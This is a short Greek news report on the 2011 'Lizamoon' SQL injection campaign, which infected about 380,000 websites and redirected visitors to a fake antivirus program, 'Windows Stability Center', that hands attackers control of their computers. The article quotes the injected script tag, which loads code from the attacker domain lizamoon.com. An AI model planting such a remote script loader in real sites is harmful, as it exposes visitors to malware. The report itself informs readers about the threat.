Περισσότερες από 380.000 site, έχουν μολυνθεί με κακόβουλο κώδικα, ο οποίος δρομολογεί τους χρήστες σε παγιδευμένες ιστοσελίδες που προσφέρουν πλαστό αντι-ιικό λογισμικό...

Προειδοποιεί εταιρεία ασφάλειας υπολογιστών!

Οι άγνωστοι δράστες φέρονται να εκμεταλλεύτηκαν ένα κενό ασφάλειας στον Microsoft SQL Server, που τρέχουν πολλοί δικτυακοί τόποι.

Εισάγοντας μια γραμμή κώδικα, δρομολογούν τους επισκέπτες των δικτυακών τόπων σε δικές τους, μολυσμένα site! Εκεί, οι χρήστες βλέπουν ένα μήνυμα που τους προειδοποιεί ότι οι υπολογιστές τους είναι μολυσμένοι με ιούς, και τους συνιστά να κατεβάσουν ένα πρόγραμμα με την ονομασία Windows Stability Center.

Το πρόγραμμα είναι μεταμφιεσμένο σε λογισμικό προστασίας από ιούς, στη πραγματικότητα όμως δίνει στους hacker τον έλεγχο του υπολογιστή σας!

Ακολουθώντας μια τακτική που ονομάζεται «επίθεση εισαγωγής SQL» - SQL injection attack - οι hacker εισήγαγαν στους ξένους δικτυακούς τόπους τον κώδικα <script src=http://lizamoon.com/ur.php.....................>

Η Αμερικανική εταιρεία Websense που αντελήφθη το πρόβλημα, βάφτισε την επιχείρηση των hacker Lizamoon. Από το όνομα του πρώτου κακόβουλου δικτυακού τόπου, στον οποίο οδηγούνταν οι χρήστες.

Η διεύθυνση αυτή έπαψε μεν να λειτουργεί, φαίνεται όμως ότι οι hacker  ενεργοποιούν άλλες, στη θέση της.

Η επίθεση φέρεται να ξεκίνησε στις 29 Μαρτίου 2011, με περίπου 28.000 μολυσμένους δικτυακούς τόπους, ωστόσο μέχρι την Παρασκευή ο αριθμός τους είχε φτάσει τις 380.000.

fileleftheros.com